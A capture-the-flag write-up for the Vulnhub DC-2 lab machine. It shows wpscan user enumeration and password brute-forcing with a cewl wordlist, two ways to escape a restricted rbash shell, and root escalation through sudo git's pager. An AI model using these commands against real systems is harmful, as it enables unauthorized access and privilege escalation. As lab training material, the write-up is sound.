DC-2

Notice: This essay was written in English.

The file I downloaded from Vulnhub didn’t appear some network problem on my VMWare, but if you got some problems with the network, please view this essay:Fix Network Problem In Vulnhub Virtual Machine

FLAG 1

use nmap to scan for some information:

nmap -sC -sV -A -p- 192.168.145.135 -T5 -oN nmap

and this is my result:

We can ensure that there are web services and SSH services on the server.

Let’s go on.

I use browser to view that website, but unfortunately, it will redirect to http://dc-2/.

Then I edit the /etc/hosts file to make this site work, and here is my hosts file:

Now, let us reopen the website, and it works.

Got Flag1 easily:

FLAG 2

Through the prompt of FLAG1, I use cewl to generate a wordlist to brute-force.

cewl http://dc-2/ -w wordlist

Now I get the wordlist, then I use wpscan:

wpscan --url http://dc-2/

I got some information useless.

I try to use wpscan to enumerate the user:

wpscan --url http://dc-2/ -e u

And yes, I got it:

Then I use wpscan to brute-force password:

wpscan --url http://dc-2/ -P wordlist

And I got :

Well done, but how can I log in?

I use dirb to scan the web path:

dirb http://192.168.145.135

Then I found this path:

It redirects to /wp-login.php

I log in as user jerry, and got FLAG2:

FLAG 3

Through the prompt of FLAG2, I guess another entry point is SSH.

I try to connect SSH service as user jerry but failed, fortunately, user tom could.

Because of the limitation of rbash, I could not execute cat command:

Then I use command export to see what PATH is and use ls to list all the commands:

Well, less is available, nice !

Let me see the FLAG 3:

less flag3.txt

FLAG 4

So, I need to su jerry.

I try to su jerry using vi editor:

bash

:set shell=/bin/bash
:shell

Then we export /bin path to PATH var:

export PATH=$PATH:/bin

Then use su to change the user(password is in the result of wpscan):

su jerry

Another method to escape rbash :

BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin

Got FLAG 4:

FLAG 5

I use sudo -l to check the privilege of user jerry:

sudo -l

Well, command git could run in root without password!

I google some help about git, and I found argument -p, and git would use more to display the information, so :

sudo git -p help -a

Then execute /bin/bash in more:

!/bin/bash

And we got root privilege:

Get Final Flag: